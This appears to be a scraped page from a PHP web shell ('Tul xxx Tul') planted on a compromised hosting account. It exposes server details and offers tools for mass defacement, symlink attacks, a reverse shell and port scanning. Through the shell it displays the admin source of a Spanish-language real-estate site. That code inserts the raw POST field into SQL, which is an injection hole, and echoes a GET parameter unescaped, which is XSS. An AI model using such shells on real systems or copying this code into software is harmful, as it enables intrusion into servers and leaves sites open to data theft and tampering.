Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
inmobiliaria
/
admin
/
Viewing: stateadd.php
<?php session_start(); require("config.php"); if(!isset($_SESSION['auser'])) { header("location:index.php"); } ///code $error=""; $msg=""; if(isset($_POST['insert'])) { $state=$_POST['state']; if(!empty($state)){ $sql="insert into state (sname) values('$state')"; $result=mysqli_query($con,$sql); if($result) { $msg="<p class='alert alert-success'>Departamento Insertado Exitosamente</p>"; } else { $error="<p class='alert alert-warning'>* Departamento No Insertado</p>"; } } else{ $error = "<p class='alert alert-warning'>* Complete todos los Campos</p>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0"> <title>Ventura - Data Tables</title> <!-- Favicon --> <link rel="shortcut icon" type="image/png" href="../images/logo/logo.png"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="assets/css/bootstrap.min.css"> <!-- Fontawesome CSS --> <link rel="stylesheet" href="assets/css/font-awesome.min.css"> <!-- Feathericon CSS --> <link rel="stylesheet" href="assets/css/feathericon.min.css"> <!-- Datatables CSS --> <link rel="stylesheet" href="assets/plugins/datatables/dataTables.bootstrap4.min.css"> <link rel="stylesheet" href="assets/plugins/datatables/responsive.bootstrap4.min.css"> <link rel="stylesheet" href="assets/plugins/datatables/select.bootstrap4.min.css"> <link rel="stylesheet" href="assets/plugins/datatables/buttons.bootstrap4.min.css"> <!-- Main CSS --> <link rel="stylesheet" href="assets/css/style.css"> <!-- Modern Admin 2026 CSS --> <link rel="stylesheet" href="assets/css/modern-admin-2026.css"> <!--[if lt IE 9]> <script src="assets/js/html5shiv.min.js"></script> <script src="assets/js/respond.min.js"></script> <![endif]--> </head> <body> <!-- Main Wrapper --> <!-- Header --> <?php include("header.php");?> <!-- /Sidebar --> <!-- Page Wrapper --> <div class="page-wrapper"> <div class="content container-fluid"> <!-- Page Header --> <div class="page-header"> <div class="row"> <div class="col"> <h3 class="page-title">Departamento</h3> <ul class="breadcrumb"> <li class="breadcrumb-item"><a href="dashboard.php">Panel de Control</a></li> <li class="breadcrumb-item active">Departamento</li> </ul> </div> </div> </div> <!-- /Page Header --> <!-- state add section --> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <h1 class="card-title">Agregar Departamento</h1> <?php echo $error;?> <?php echo $msg;?> <?php if(isset($_GET['msg'])) echo $_GET['msg']; ?> </div> <form method="post" id="insert product" enctype="multipart/form-data"> <div class="card-body"> <div class="row"> <div class="col-xl-6"> <h5 class="card-title">Detalles del Departamento</h5> <div class="form-group row"> <label class="col-lg-3 col-form-label">Nombre del Departamento</label> <div class="col-lg-9"> <input type="text" class="form-control" name="state"> </div> </div> </div> </div> <div class="text-left"> <input type="submit" class="btn btn-primary" value="Enviar" name="insert" style="margin-left:200px;"> </div> </div> </form> </div> </div> </div> <!----End state add section ---> <!----view state ---> <div class="row"> <div class="col-sm-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Lista de Departamentos</h4> </div> <div class="card-body"> <table id="basic-datatable " class="table table-bordered table-hover"> <thead> <tr> <th>#</th> <th>Departamento</th> <th>Acciones</th> </tr> </thead> <tbody> <?php $query=mysqli_query($con,"select * from state"); $cnt=1; while($row=mysqli_fetch_row($query)) { ?> <tr> <td><?php echo $cnt; ?></td> <td><?php echo $row['1']; ?></td> <td><a href="stateedit.php?id=<?php echo $row['0']; ?>"><button class="btn btn-info">Editar</button></a> <a href="statedelete.php?id=<?php echo $row['0']; ?>"><button class="btn btn-danger">Eliminar</button></a></td> </tr> <?php $cnt=$cnt+1; } ?> </tbody> </table> </div> </div> </div> </div> <!-- view state --> </div> </div> <!-- /Main Wrapper --> <!--- <label class="col-lg-3 col-form-label">State Name</label> <div class="col-lg-9"> <select class="form-control"> <option>Select</option> <option>Option 1</option> <option>Option 2</option> <option>Option 3</option> <option>Option 4</option> <option>Option 5</option> </select> </div> ----> <!-- jQuery --> <script src="assets/js/jquery-3.2.1.min.js"></script> <!-- Bootstrap Core JS --> <script src="assets/js/popper.min.js"></script> <script src="assets/js/bootstrap.min.js"></script> <!-- Slimscroll JS --> <script src="assets/plugins/slimscroll/jquery.slimscroll.min.js"></script> <!-- Datatables JS --> <!-- Datatables JS --> <script src="assets/plugins/datatables/jquery.dataTables.min.js"></script> <script src="assets/plugins/datatables/dataTables.bootstrap4.min.js"></script> <script src="assets/plugins/datatables/dataTables.responsive.min.js"></script> <script src="assets/plugins/datatables/responsive.bootstrap4.min.js"></script> <script src="assets/plugins/datatables/dataTables.select.min.js"></script> <script src="assets/plugins/datatables/dataTables.buttons.min.js"></script> <script src="assets/plugins/datatables/buttons.bootstrap4.min.js"></script> <script src="assets/plugins/datatables/buttons.html5.min.js"></script> <script src="assets/plugins/datatables/buttons.flash.min.js"></script> <script src="assets/plugins/datatables/buttons.print.min.js"></script> <!-- Custom JS --> <script src="assets/js/script.js"></script> </body> </html>
Coded With 💗 by
0x6ick